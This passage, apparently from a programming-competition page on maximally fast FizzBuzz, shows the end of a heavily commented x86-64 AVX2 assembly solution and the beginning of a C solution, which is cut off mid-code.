place).\ngenerate_bytecode:\nmov BYTECODE_GEN_PTR, BYTECODE_START\n// FIZZ and BUZZ work just like in the second phase, except that they\n// are now bytecode programs rather than ASCII.\nmov FIZZ, 0xf6868697ba // -\"Fizz\\n\"\nmov BUZZ, 0xf686868bbe // -\"Buzz\\n\"\n// %ymm2 holds the bytecode for outputting the hundreds and more\n// significant digits of a line number. The most significant digits of\n// this can be obtained by converting LINENO_TOP from high-decimal to\n// the corresponding bytecode, which is accomplished by subtracting\n// from 198 (i.e. 256 - 10 - '0'). The constant parts of LINENO_TOP\n// are 198 minus the bytecode for outputting the hundreds to billions\n// digit of a number; this makes it possible for a single endian\n// shuffle to deal with all 16 of the mid and high digits at once.\n.section .rodata\nbascii_offset:\n.byte REP8(198), REP8(198), REP8(198), REP8(198)\n.text\nvpsubb %ymm2, BASCII_OFFSET, LINENO_TOP\nvpshufb %ymm2, %ymm2, ENDIAN_SHUFFLE\n#define GEN_FIZZ mov [BYTECODE_GEN_PTR], FIZZ; add BYTECODE_GEN_PTR, 5\n#define GEN_BUZZ mov [BYTECODE_GEN_PTR], BUZZ; add BYTECODE_GEN_PTR, 5\n#define GEN_FIZZBUZZ \\\n mov [BYTECODE_GEN_PTR], FIZZe; \\\n mov [BYTECODE_GEN_PTR + 4], BUZZ; add BYTECODE_GEN_PTR, 9\n#define GEN_LINENO(units_digit) \\\n vmovdqu [BYTECODE_GEN_PTR], %xmm2; \\\n lea BYTECODE_GEN_PTR, [BYTECODE_GEN_PTR + LINENO_WIDTH + 1]; \\\n mov [BYTECODE_GEN_PTR - 3], %al; \\\n mov word ptr [BYTECODE_GEN_PTR - 2], 0xf6d0 - units_digit\n// The bytecode generation loop is unrolled to depth 30, allowing the\n// units digits to be hardcoded. The tens digit is stored in %al, and\n// incremented every ten lines of output. The parity of the hundreds\n// digit is stored in %ymm2: one half predicts the hundreds digit to\n// be even, the other to be odd, and the halves are swapped every time\n// the tens digit carries (ensuring the predictions are correct).\nmov %eax, 0xd0\njmp 2f\ninc_tens_digit:\ncmp %al, 0xc7\nje 1f // jumps every 10th execution, therefore predicts perfectly\ndec %eax\nret\n1: mov %eax, 0xd0\nvpermq %ymm2, %ymm2, 0x4e\nret\n2: mov %ecx, 20\nthirty_bytecode_lines:\nGEN_BUZZ\nGEN_LINENO(1)\nGEN_FIZZ\nGEN_LINENO(3)\nGEN_LINENO(4)\nGEN_FIZZBUZZ\nGEN_LINENO(6)\nGEN_LINENO(7)\nGEN_FIZZ\nGEN_LINENO(9)\ncall inc_tens_digit\nGEN_BUZZ\nGEN_FIZZ\nGEN_LINENO(2)\nGEN_LINENO(3)\nGEN_FIZZ\nGEN_BUZZ\nGEN_LINENO(6)\nGEN_FIZZ\nGEN_LINENO(8)\nGEN_LINENO(9)\ncall inc_tens_digit\nGEN_FIZZBUZZ\nGEN_LINENO(1)\nGEN_LINENO(2)\nGEN_FIZZ\nGEN_LINENO(4)\nGEN_BUZZ\nGEN_FIZZ\nGEN_LINENO(7)\nGEN_LINENO(8)\nGEN_FIZZ\ncall inc_tens_digit\ndec %ecx\njnz thirty_bytecode_lines\ngenerate_bytecode_overrun_area:\n// Duplicate the first 512 bytes of the bytecode program at the end,\n// so that there's no need to check to see whether BYTECODE_IP needs\n// to be looped back to the start of the program any more than once\n// per 512 bytes\nmov %rax, BYTECODE_START\n#define COPY_64_BYTECODE_BYTES(offset) \\\n vmovdqa %ymm0, [%rax + offset]; \\\n vmovdqa %ymm3, [%rax + (offset + 32)]; \\\n vmovdqu [BYTECODE_GEN_PTR + offset], %ymm0; \\\n vmovdqu [BYTECODE_GEN_PTR + (offset + 32)], %ymm3\nCOPY_64_BYTECODE_BYTES(0)\nCOPY_64_BYTECODE_BYTES(64)\nCOPY_64_BYTECODE_BYTES(128)\nCOPY_64_BYTECODE_BYTES(192)\nCOPY_64_BYTECODE_BYTES(256)\nCOPY_64_BYTECODE_BYTES(320)\nCOPY_64_BYTECODE_BYTES(384)\nCOPY_64_BYTECODE_BYTES(448)\n// Preparing for the main loop\n//\n// Work out how long the main loop is going to iterate for.\n// OUTPUT_LIMIT holds the address just beyond the end of the output\n// that the main loop should produce. The aim here is to produce\n// exactly one pipeful of data if possible, but to stop earlier if\n// there's a change in digit width (because any output beyond that\n// point will be useless: the bytecode will give it the wrong number\n// of digits).\ncalculate_main_loop_iterations:\n// Extract the pipe size from BYTECODE_START, in 32-byte units.\n// During this calculation, OUTPUT_LIMIT holds the amount of output\n// produced, rather than an address like normal.\nmov OUTPUT_LIMIT, BYTECODE_START\nlea %rdx, [%rip + iovec_base]\nsub OUTPUT_LIMIT, %rdx\nshr OUTPUT_LIMIT, 5\n// Reduce the output limit to the end of this width, if it would be\n// higher than that.\ncmp OUTPUT_LIMIT, YMMS_AT_WIDTH\ncmovae OUTPUT_LIMIT, YMMS_AT_WIDTH\n// If there's already some output in the buffer, reduce the amount\n// of additional output produced accordingly (whilst ensuring that\n// a multiple of 512 bytes of output is produced).\n//\n// This would be buggy if the YMMS_AT_WIDTH limit were hit at the\n// same time, but that never occurs as it would require two width\n// changes within one pipeful of each other, and 9000000 lines of\n// FizzBuzz is much more than a pipeful in size.\nmov %rax, OUTPUT_PTR\nand %eax, ((2 << 20) - 1) & -512\nshr %eax, 5\nsub OUTPUT_LIMIT, %rax\n// The amount of output to produce is available now, and won't be\n// later, so subtract it from the amount of output that needs to\n// be produced now.\nsub YMMS_AT_WIDTH, OUTPUT_LIMIT\n// Return OUTPUT_LIMIT back to being a pointer, not an amount.\nshl OUTPUT_LIMIT, 5\nadd OUTPUT_LIMIT, OUTPUT_PTR\nprepare_main_loop_invariants:\n// To save one instruction in the bytecode interpreter (which is very\n// valuable, as it runs every second CPU cycle), LINENO_MID_TEMP is\n// used to store a reformatted version of LINENO_MID, in which each\n// byte is translated from high-decimal to ASCII, and the bytecode\n// command that would access that byte is added to the result (e.g.\n// the thousands digit for the hundreds-digits-odd version has 10\n// added to convert from high-decimal to a pure number, '0' added to\n// convert to ASCII, then 9 added because that's the bytecode command\n// to access the thousands digit when the hundreds digit is odd, so\n// the amount added is 10 + '0' + 9 = 57).\n//\n// LINENO_MID_TEMP is updated within the main loop, immediately after\n// updating LINENO_MID, but because the bytecode interpreter reads\n// from it it needs a valid value at the start of the loop.\n.section .rodata\nbiascii_offset:\n.byte 58, 59, 60, 61, 62, 63, 64, 65\n.byte 66, 67, 68, 69, 70, 71, 72, 73\n.byte 58, 59, 60, 61, 62, 63, 64, 65\n.byte 66, 67, 68, 69, 70, 71, 72, 73\n.text\nvpaddb LINENO_MID_TEMP, BIASCII_OFFSET, LINENO_MID\n// To save an instruction, precalculate minus the length of the\n// bytecode. (Although the value of this is determined entirely by\n// LINENO_WIDTH, the register it's stored in gets clobbered by\n// system calls and thus needs to be recalculated each time.)\nmov BYTECODE_NEG_LEN, BYTECODE_START\nsub BYTECODE_NEG_LEN, BYTECODE_END\n// The main loop\n// The bytecode interpreter consists of four instructions:\n// 1. Load the bytecode from memory into %ymm2;\n// 2. Use it as a shuffle mask to shuffle LINENO_MID_TEMP;\n// 3. Subtract the bytecode from the shuffle result;\n// 4. Output the result of the subtraction.\n//\n// To see why this works, consider two cases. If the bytecode wants to\n// output a literal character, then the shuffle will produce 0 for\n// that byte (in AVX2, a shuffle with a a negative index produces an\n// output of 0), and subtracting the bytecode from 0 then produces the\n// character (because the bytecode encoded minus the character). If\n// the bytecode instead wants to output a digit, then the shuffle will\n// fetch the relevant digit from LINENO_MID_TEMP (which is the desired\n// ASCII character plus the bytecode instruction that produces it),\n// and subtract the bytecode instruction to just produce the character\n// on its own.\n//\n// This produces an exactly correct line number as long as the line\n// number approximation is within 100 of the true value: it will be\n// correct as long as the relevant part of LINENO_MID is correct, and\n// the worst case is for LINENO_MID to be storing, say, 200 and 300\n// (the representation of 250) when the true line number is 400. The\n// value in LINENO_MID specifically can be up to 50 away from the\n// value of the line number as recorded by LINENO_MID and LINENO_LOW\n// together, so as long as the line number registers are within 100,\n// LINENO_MID will be within 150 (which is what is required).\n//\n// This doesn't update the bytecode instruction pointer or the pointer\n// into the output buffer; those are updated once every 512 bytes (and\n// to \"advance the instruction pointer\" the rest of the time, the main\n// loop is unrolled, using hardcoded offsets with the pointer updates\n// baked in).\n//\n// The bytecode instruction pointer itself is read from %rdx, not\n// BYTECODE_IP, so that mid-loop arithmetic on BYTECODE_IP won't cause\n// the interpreter to break.\n//\n// It's important to note one potential performance issue with this\n// code: the read of the bytecode from memory is not only misalignable\n// (`vmovdqu`); it splits a cache line 3/8 of the time. This causes L1\n// split-load penalties on the 3/8 cycles where it occurs. I am not\n// sure whether this actually reduces the program's performance in\n// practice, or whether the split loads can be absorbed while waiting\n// for writes to go through to the L2 cache. However, even if it does\n// have a genuine performance cost, it seems like the least costly way\n// to read the bytecode; structuring the bytecode to avoid split loads\n// makes it take up substantially more memory, and the less cache that\n// is used for the bytecode, the more that can be used for the output\n// buffers. (In particular, increasing the bytecode to 2400 lines so\n// that it's available at all four of the alignments required of it\n// does not gain, because it then becomes so large that the processor\n// struggles to keep it in L1 cache - it only just fits, and there\n// isn't any way for it to know which parts of the cache are meant to\n// stay in L1 and which are meant to leave to L2, so there's a large\n// slowdown when it guesses wrong.)\n#define INTERPRET_BYTECODE(bc_offset, buf_offset) \\\n vmovdqu %ymm2, [%rdx + bc_offset]; \\\n vpshufb %ymm0, LINENO_MID_TEMP, %ymm2; \\\n vpsubb %ymm0, %ymm0, %ymm2; \\\n vmovdqa [OUTPUT_PTR + buf_offset], %ymm0\n// The main loop itself consists of sixteen uses of the bytecode\n// interpreter, interleaved (to give the reorder buffer maximum\n// flexibility) with all the other logic needed in the main loop.\n// (Most modern processors can handle 4-6 instructions per clock cycle\n// as long as they don't step on each others' toes; thus this loop's\n// performance will be limited by the throughput of the L2 cache, with\n// all the other work (bytecode interpretation, instruction decoding,\n// miscellaneous other instructions, etc.) fitting into the gaps while\n// the processor is waiting for the L2 cache to do its work.)\n.p2align 5\nmain_loop:\n// %rdx caches BYTECODE_IP's value at the start of the loop\nmov %rdx, BYTECODE_IP\nINTERPRET_BYTECODE(0, 0)\n// %ymm1 caches LINENO_LOW's value at the start of the loop\nvmovdqa %ymm1, LINENO_LOW\nINTERPRET_BYTECODE(32, 32)\n// Add LINENO_LOW_INCR to LINENO_LOW, checking for carry; it carried\n// if the sign bit changed from 0 to 1. (vpandn is unintuitive; this\n// is ~%ymm1 & LINENO_LOW, not %ymm1 & ~LINENO_LOW like the name\n// suggests.)\nvpaddq LINENO_LOW, LINENO_LOW_INCR, LINENO_LOW\nINTERPRET_BYTECODE(64, 64)\nvpandn %ymm3, %ymm1, LINENO_LOW\nINTERPRET_BYTECODE(96, 96)\nvpsrlq %ymm3, %ymm3, 63\nINTERPRET_BYTECODE(128, 128)\n// Add the carry to LINENO_MID (doubling it; LINENO_MID counts in\n// units of 100 but a LINENO_LOW carry means 200).\nvpaddb %ymm3, %ymm3, %ymm3\nINTERPRET_BYTECODE(160, 160)\nvpaddq LINENO_MID, LINENO_MID, %ymm3\nINTERPRET_BYTECODE(192, 192)\nvpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID\nINTERPRET_BYTECODE(224, 224)\n// Update LINENO_MID_TEMP with the new value from LINENO_MID; this is\n// the point at which the new value takes effect. This is done at the\n// exact midpoint of the loop, in order to reduce the errors from\n// updating once every 512 bytes as far as possible.\nvpaddb LINENO_MID_TEMP, BIASCII_OFFSET, LINENO_MID\nINTERPRET_BYTECODE(256, 256)\n// Update the output and bytecode instruction pointers. The change to\n// the output pointer kicks in immediately, but is cancelled out via\n// the use of a negative offset until the end of the loop.\nadd OUTPUT_PTR, 512\nINTERPRET_BYTECODE(288, -224)\nadd BYTECODE_IP, 512\nINTERPRET_BYTECODE(320, -192)\n// The change to the bytecode instruction pointer doesn't kick in\n// immediately, because it might need to wrap back to the start (this\n// can be done by adding BYTECODE_NEG_LEN to it); this is why the\n// interpreter has a cached copy of it in %rdx.\nlea %rax, [BYTECODE_IP + BYTECODE_NEG_LEN]\nINTERPRET_BYTECODE(352, -160)\nINTERPRET_BYTECODE(384, -128)\n// Some modern processors can optimise `cmp` better if it appears\n// immediately before the command that uses the comparison result, so\n// a couple of commands have been moved slightly to put the `cmp` next\n// to the use of its result. With modern out-of-order processors,\n// there is only a marginal advantage to manually interleaving the\n// instructions being used, and the `cmp` advantage outweighs that.\ncmp BYTECODE_IP, BYTECODE_END\ncmovae BYTECODE_IP, %rax\nINTERPRET_BYTECODE(416, -96)\nINTERPRET_BYTECODE(448, -64)\nINTERPRET_BYTECODE(480, -32)\ncmp OUTPUT_PTR, OUTPUT_LIMIT\njb main_loop\nafter_main_loop:\n// There are two reasons the main loop might terminate: either there's\n// a pipeful of output, or the line number has increased in width\n// (forcing the generaion of new bytecode to put more digits in the\n// numbers being printed). In the latter case, a) the output may have\n// overrun slightly, and OUTPUT_PTR needs to be moved back to\n// OUTPUT_LIMIT:\nmov OUTPUT_PTR, OUTPUT_LIMIT\n// and b) there may be less than a pipeful of output, in which case it\n// wouldn't be safe to output it and the swap_buffers call needs to be\n// skipped. Calculate the pipe size into %rax, the amount of output\n// into %rdx (swap_buffers needs it there anyway), and compare.\nlea %rax, [%rip + iovec_base]\nsub %rax, BYTECODE_START\nneg %eax\nmov %rdx, OUTPUT_PTR\nand %edx, (2 << 20) - 1\ncmp %edx, %eax\njb 1f\ncall swap_buffers\n// If all the lines at this width have been exhausted, move to the\n// next width.\n1: test YMMS_AT_WIDTH, YMMS_AT_WIDTH\njnz check_lineno_top_carry\ncmp LINENO_WIDTHe, 18 // third phase handles at most 18 digits\nje fourth_phase\ninc LINENO_WIDTHe\nvpcmpeqb %ymm0, %ymm0, %ymm0\nvpsubb ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, %ymm0\nlea GROUPS_OF_15, [GROUPS_OF_15 + GROUPS_OF_15 * 4]\nadd GROUPS_OF_15, GROUPS_OF_15\nadd BYTECODE_END, 320\njmp third_phase_per_width_init\n// So far, the code has kept LINENO_MID and LINENO_LOW updated, but\n// not LINENO_TOP. Because 10 billion lines of FizzBuzz don't normally\n// have a length that's divisible by 512 (and indeed, vary in size a\n// little because 10 billion isn't divisible by 15), it's possible for\n// the 10-billions and higher digits to need to change in the middle\n// of a main loop iteration - indeed, even in the middle of a single\n// CPU instruction!\n//\n// It turns out that when discussing the line number registers above,\n// I lied a little about the format. The bottom seven bytes of\n// LINENO_MID do indeed represent the hundreds to hundred millions\n// digits. However, the eighth changes in meaning over the course of\n// the program. It does indeed represent the billions digit most of\n// the time; but when the line number is getting close to a multiple\n// of 10 billion, the billions and hundred-millions digits will always\n// be the same as each other (either both 9s or both 0s). When this\n// happens, the format changes: the hundred-millions digit of\n// LINENO_MID represents *both* the hundred-millions and billions\n// digits of the line number, and the top byte then represents the\n// ten-billions digit. Because incrementing a number causes a row of\n// consecutive 9s to either stay untouched, or all roll over to 0s at\n// once, this effectively lets us do maths on more than 8 digits,\n// meaning that the normal arithmetic code within the main loop can\n// handle the ten-billions digit in addition to the digits below.\n//\n// Of course, the number printing code also needs to handle the new\n// representation, but the number printing is done by a bytecode\n// program, which can be made to output some of the digits being\n// printed multiple times by repeating \"print digit from LINENO_MID\"\n// commands within it. Those commands are generated from COUNTER_TOP\n// anyway, so the program just changes the constant portion of\n// COUNTER_TOP (and moves print-digit commands into the top half) in\n// order to produce the appropriate bytecode changes.\n//\n// A similar method is used to handle carries in the hundred-billions,\n// trillions, etc. digits.\n//\n// Incidentally, did you notice the apparent off-by-one in the\n// initialisation of LINENO_MID within third_phase_per_width_init? It\n// causes the \"billions\" digit to be initialised to 1 (not 0) when the\n// line number width is 11 or higher. That's because the alternate\n// representation will be in use during a line number width change (as\n// higher powers of 10 are close to multiples of 10 billion), so the\n// digit that's represented by that byte of LINENO_MID genuinely is a\n// 1 rather than a 0.\ncheck_lineno_top_carry:\n// The condition to change line number format is:\n// a) The line number is in normal format, and the hundred-millions\n// and billions digits are both 9; or\n// b) The line number is in alternate format, and the hundred-millions\n// digit is 0.\n// To avoid branchy code in the common case (when no format change is\n// needed), REGEN_TRIGGER is used to store the specific values of the\n// hundred-millions and billions digits that mean a change is needed,\n// formatted as two repeats of billions, hundred-millions, 9, 9 in\n// high-decimal (thus, when using normal format, REGEN_TRIGGER is\n// high-decimal 99999999, i.e. -1 when interpreted as binary). The 9s\n// are because vpshufd doesn't have very good resolution: the millions\n// and ten-millions digits get read too, but can simply just be masked\n// out. The two repeats are to ensure that both halves of LINENO_MID\n// (the even-hundreds-digit and odd-hundreds-digit halves) have the\n// correct value while changing (changing the format while half the\n// register still ended ...98999999 would produce incorrect output).\nvpshufd %xmm0, LINENO_MIDx, 0xED\nvpextrq %rax, %xmm0, 0\nmov %rdx, 0x0000ffff0000ffff\nor %rax, %rdx\ncmp %rax, REGEN_TRIGGER\njne calculate_main_loop_iterations\ncmp REGEN_TRIGGER, -1\njne switch_to_normal_representation\nswitch_to_alternate_representation:\n// Count the number of 9s at the end of LINENO_TOP. To fix an edge\n// case, the top bit of LINENO_TOP is interpreted as a 0, preventing\n// a 9 being recognised there (this causes 10**18-1 to increment to\n// 10**17 rather than 10**18, but the program immediately exits\n// before this can become a problem).\nvpextrq %rdx, LINENO_TOPx, 1\nmov SPILL, %rdx\nshl %rdx, 1\nshr %rdx, 1\nnot %rdx\nbsf %rcx, %rdx\nand %rcx, -8\n// Change the format of LINENO_TOP so that the digit above the\n// consecutive 9s becomes a reference to the top byte of LINENO_MID,\n// and the 9s themselves references to the hundred-millions digit.\n// This is done via a lookup table that specifies how to move the\n// bytes around.\n.section .rodata\nalternate_representation_lookup_table:\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 7, 9, 10, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 7, 9, 10, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 7, 10, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 7, 10, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 7, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 7, 11, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 7, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 7, 12, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 7, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 7, 13, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 7, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 7, 14, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 6, 7, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 6, 7, 15\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 6, 6, 7\n.byte 0, 1, 2, 3, 4, 5, 6, 6\n.byte 6, 6, 6, 6, 6, 6, 6, 7\n.text\nlea %rax, [%rip + alternate_representation_lookup_table]\nvpshufb LINENO_TOP, LINENO_TOP, [%rax + 4 * %rcx]\n// The top byte of LINENO_MID also needs the appropriate digit of\n// LINENO_TOP placed there.\nmov %rdx, SPILL\nshr %rdx, %cl\nvpinsrb LINENO_MIDx, LINENO_MIDx, %edx, 7\nvpinsrb LINENO_MIDx, LINENO_MIDx, %edx, 15\nvpermq LINENO_MID, LINENO_MID, 0x44\n// Finally, REGEN_TRIGGER needs to store the pattern of digits that\n// will prompt a shift back to the normal representation (the hundred-\n// millions digit must be 0, and the value of the billions digit will\n// be predictable).\ninc %edx\nshl %edx, 24\nor %edx, 0xF6FFFF\nmov REGEN_TRIGGERe, %edx\nshl %rdx, 32\nor REGEN_TRIGGER, %rdx\njmp generate_bytecode\nswitch_to_normal_representation:\n// Switching back is fairly easy: LINENO_TOP can almost be converted\n// back into its usual format by running the bytecode program stored\n// there to remove any unusual references into LINENO_MID, then\n// restoring the usual references manually. Running the program will\n// unfortunately convert high-decimal to ASCII (or in this case zeroes\n// because there's no need to do the subtraction), but that can be\n// worked around by taking the bytewise maximum of the converted and\n// original LINENO_TOP values (high-decimal is higher than bytecode\n// references and much higher than zero).\nvpsubb %ymm2, BASCII_OFFSET, LINENO_TOP\nvpshufb %ymm0, LINENO_MID, %ymm2\nvpmaxub LINENO_TOP, LINENO_TOP, %ymm0\n// Manually fix the constant parts of lineno_top to contain their\n// usual constant values\n.section .rodata\nlineno_top_max:\n.byte 198, 197, 196, 195, 194, 193, 192, 191\n.byte 255, 255, 255, 255, 255, 255, 255, 255\n.byte 190, 189, 188, 187, 186, 185, 184, 183\n.byte 255, 255, 255, 255, 255, 255, 255, 255\n.text\nvpminub LINENO_TOP, LINENO_TOP_MAX, LINENO_TOP\n// The billions digit of LINENO_MID needs to be set back to 0 (which\n// is its true value at this point: the same as the hundred-thousands\n// digit, which is also 0).\nvpsllq LINENO_MID, LINENO_MID, 8\nvpsrlq LINENO_MID, LINENO_MID, 8\nvpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID\nmov REGEN_TRIGGER, -1\njmp generate_bytecode\n///// Fourth phase\n//\n// Ending at 999999999999999999 lines would be a little unsatisfying,\n// so here's a routine to write the quintillionth line and exit.\n//\n// It's a \"Buzz\", which we can steal from the first phase's constant.\nfourth_phase:\nmov ARG1e, 1\nlea ARG2, [%rip + fizzbuzz_intro + 11]\nmov ARG3, 5\nmov SYSCALL_NUMBER, __NR_write\nsyscall\ncall exit_on_error\nxor ARG1e, ARG1e\njmp exit\n///// Error handling code\n//\n// This doesn't run in a normal execution of the program, and isn't\n// particularly optimised; I didn't comment it much because it isn't\n// very interesting and also is fairly self-explanatory.\nwrite_stderr:\nmov ARG1e, 2\nmov SYSCALL_NUMBER, __NR_write\nsyscall\nret\ninefficiently_write_as_hex:\npush %rax\npush %rcx\nshr %rax, %cl\nand %rax, 0xF\n.section .rodata\nhexdigits: .ascii \"0123456789ABCDEF\"\n.text\nlea %rcx, [%rip + hexdigits]\nmovzx %rax, byte ptr [%rcx + %rax]\nmov [%rip + error_write_buffer], %al\nlea ARG2, [%rip + error_write_buffer]\nmov ARG3e, 1\ncall write_stderr\npop %rcx\npop %rax\nsub %ecx, 4\njns inefficiently_write_as_hex\nret\nexit_on_error:\ntest SYSCALL_RETURN, SYSCALL_RETURN\njs 1f\nret\n.section .rodata\nerror_message_part_1: .ascii \"Encountered OS error 0x\"\nerror_message_part_2: .ascii \" at RIP 0x\"\nerror_message_part_3: .ascii \", exiting program.\\n\"\n.text\n1: push SYSCALL_RETURN\nlea ARG2, [%rip + error_message_part_1]\nmov ARG3e, 23\ncall write_stderr\npop SYSCALL_RETURN\nneg SYSCALL_RETURN\nmov %rcx, 8\ncall inefficiently_write_as_hex\nlea ARG2, [%rip + error_message_part_2]\nmov ARG3e, 10\ncall write_stderr\npop %rax // find the caller's %rip from the stack\nsub %rax, 5 // `call exit_on_error` compiles to 5 bytes\nmov %rcx, 60\ncall inefficiently_write_as_hex\nlea ARG2, [%rip + error_message_part_3]\nmov ARG3e, 19\ncall write_stderr\nmov ARG1e, 74\n// fall through\nexit:\nmov SYSCALL_NUMBER, __NR_exit_group\nsyscall\nud2\n.section .rodata\ncpuid_error_message:\n.ascii \"Error: your CPUID command does not support command \"\n.ascii \"0x80000006 (AMD-style L2 cache information).\\n\"\n.text\nbad_cpuid_error:\nlea ARG2, [%rip + cpuid_error_message]\nmov ARG3e, 96\ncall write_stderr\nmov ARG1e, 59\njmp exit\n.section .rodata\npipe_error_message:\n.ascii \"This program can only output to a pipe \"\n.ascii \"(try piping into `cat`?)\\n\"\n.text\npipe_error:\nlea ARG2, [%rip + pipe_error_message]\nmov ARG3e, 64\ncall write_stderr\nmov ARG1e, 73\njmp exit\n.section .rodata\npipe_perm_error_message_part_1:\n.ascii \"Cannot allocate a sufficiently large kernel buffer.\\n\"\n.ascii \"Try setting /proc/sys/fs/pipe-max-size to 0x\"\npipe_perm_error_message_part_2: .ascii \".\\n\"\n.text\npipe_perm_error:\nlea ARG2, [%rip + pipe_perm_error_message_part_1]\nmov ARG3e, 96\ncall write_stderr\nmov %rax, PIPE_SIZE\nmov %ecx, 28\ncall inefficiently_write_as_hex\nlea ARG2, [%rip + pipe_perm_error_message_part_2]\nmov ARG3e, 2\ncall write_stderr\nmov ARG1e, 77\njmp exit\n.section .rodata\npipe_size_error_message_part_1:\n.ascii \"Failed to resize the kernel pipe buffer.\\n\"\n.ascii \"Requested size: 0x\"\npipe_size_error_message_part_2: .ascii \"\\nActual size: 0x\"\npipe_size_error_message_part_3:\n.ascii \"\\n(If the buffer is too large, this may cause errors;\"\n.ascii \"\\nthe program could run too far ahead and overwrite\"\n.ascii \"\\nmemory before it had been read from.)\\n\"\n.text\npipe_size_mismatch_error:\npush SYSCALL_RETURN\nlea ARG2, [%rip + pipe_size_error_message_part_1]\nmov ARG3e, 59\ncall write_stderr\nmov %rax, PIPE_SIZE\nmov %ecx, 28\ncall inefficiently_write_as_hex\nlea ARG2, [%rip + pipe_size_error_message_part_2]\nmov ARG3e, 16\ncall write_stderr\npop %rax\nmov %ecx, 28\ncall inefficiently_write_as_hex\nlea ARG2, [%rip + pipe_size_error_message_part_3]\nmov ARG3e, 141\ncall write_stderr\nmov ARG1e, 73\njmp exit\n```\n[Answer]\nAfter much trial and error, with the goal of not resorting to Assembly while achieving the best single-threaded performance, this is my entry:\n```\n#include \n#define unlikely(e) __builtin_expect((e), 0)\n#define mcpy(d, s, n) __builtin_memcpy((d), (s), (n))\n#define CACHELINE 64\n#define PGSIZE 4096\n#define ALIGNED_BUF 65536\n#define FIZZ \"Fizz\"\n#define BUZZ \"Buzz\"\n#define DELIM \"\\n\"\ntypedef struct {\n unsigned char offset;\n char data[CACHELINE - sizeof(unsigned char)];\n} counters_t;\nstatic inline void os_write(int out, void *buf, unsigned int n)\n{\n while (n)\n {\n ssize_t written = write(out, buf, n);\n if (written >= 0)\n {\n buf += written;\n n -= written;\n }\n }\n}\nint main(void)\n{\n const int out = 1;\n __attribute__((aligned(CACHELINE))) static counters_t counter = {\n sizeof(counter.data) - 1, \"00000000000000000000000000000000000000000000000000000000000000\"\n };\n __attribute__((aligned(PGSIZE))) static char buf[ALIGNED_BUF + (sizeof(counter.data) * 15 * 3)] = { 0 };\n char *off = buf;\n for (;;)\n {\n // Write chunks of 30 counters until we reach `ALIGNED_BUF`\n while (off - buf < ALIGNED_BUF)\n {\n #define NN (sizeof(counter.data) - 2)\n // Hand-rolled counter copy, because with non-constant sizes the compiler\n // just calls memcpy, which is too much overhead.\n #define CTRCPY(i) do { \\\n const char *src = end; \\\n char *dst = off; \\\n unsigned _n = n; \\\n switch (_n & 3) { \\\n case 3: *dst++ = *src++; \\\n case 2: \\\n mcpy(dst, src, 2); \\\n dst += 2; src += 2; \\\n break; \\\n case 1: *dst++ = *src++; \\\n case 0: break; \\\n } \\\n for (_n &= ~3; _n; _n -= 4, dst += 4, src += 4) { \\\n mcpy(dst, src, 4); \\\n } \\\n mcpy(off + n, i DELIM, sizeof(i DELIM) - 1); \\\n off += n + sizeof(i DELIM) - 1; \\\n } while (0)\n // Write the first 10 counters of the group (need to separate the\n // first 10 counters from the rest of the chunk due to possible decimal\n // order increase at the end of this block)\n {\n const char *const end = counter.data + counter.offset;\n const unsigned int n = sizeof(counter.data) - counter.offset - 1;\n CTRCPY(\"1\"); // 1\n CTRCPY(\"2\"); // 2\n mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (3)\n off += sizeof(FIZZ DELIM) - 1;\n CTRCPY(\"4\"); // 4\n mcpy(off, BUZZ DELIM FIZZ DELIM, sizeof(BUZZ DELIM FIZZ DELIM) - 1); // Buzz (5) Fizz (6)\n off += sizeof(BUZZ DELIM FIZZ DELIM) - 1;\n CTRCPY(\"7\"); // 7\n CTRCPY(\"8\"); // 8\n mcpy(off, FIZZ DELIM BUZZ DELIM, sizeof(FIZZ DELIM BUZZ DELIM) - 1); // Fizz (9) Buzz (10)\n off += sizeof(FIZZ DELIM BUZZ DELIM) - 1;\n // Carry handling on MOD 10\n for (unsigned d = NN; ; --d)\n {\n if (counter.data[d] != '9')\n {\n ++counter.data[d];\n break;\n }\n counter.data[d] = '0';\n }\n // Decimal order increases only when `counter MOD 30 == 10`\n if (unlikely(counter.data[counter.offset - 1] != '0'))\n {\n if (unlikely(counter.offset == 1))\n {\n goto end;\n }\n --counter.offset;\n }\n }\n // Write the chunk's remaining 20 counters\n {\n const char *const end = counter.data + counter.offset;\n const unsigned int n = sizeof(counter.data) - counter.offset - 1;\n CTRCPY(\"1\"); // 11\n mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (12)\n off += sizeof(FIZZ DELIM) - 1;\n CTRCPY(\"3\"); // 13\n CTRCPY(\"4\"); // 14\n mcpy(off, FIZZ BUZZ DELIM, sizeof(FIZZ BUZZ DELIM) - 1); // FizzBuzz (15)\n off += sizeof(FIZZ BUZZ DELIM) - 1;\n CTRCPY(\"6\"); // 16\n CTRCPY(\"7\"); // 17\n mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (18)\n off += sizeof(FIZZ 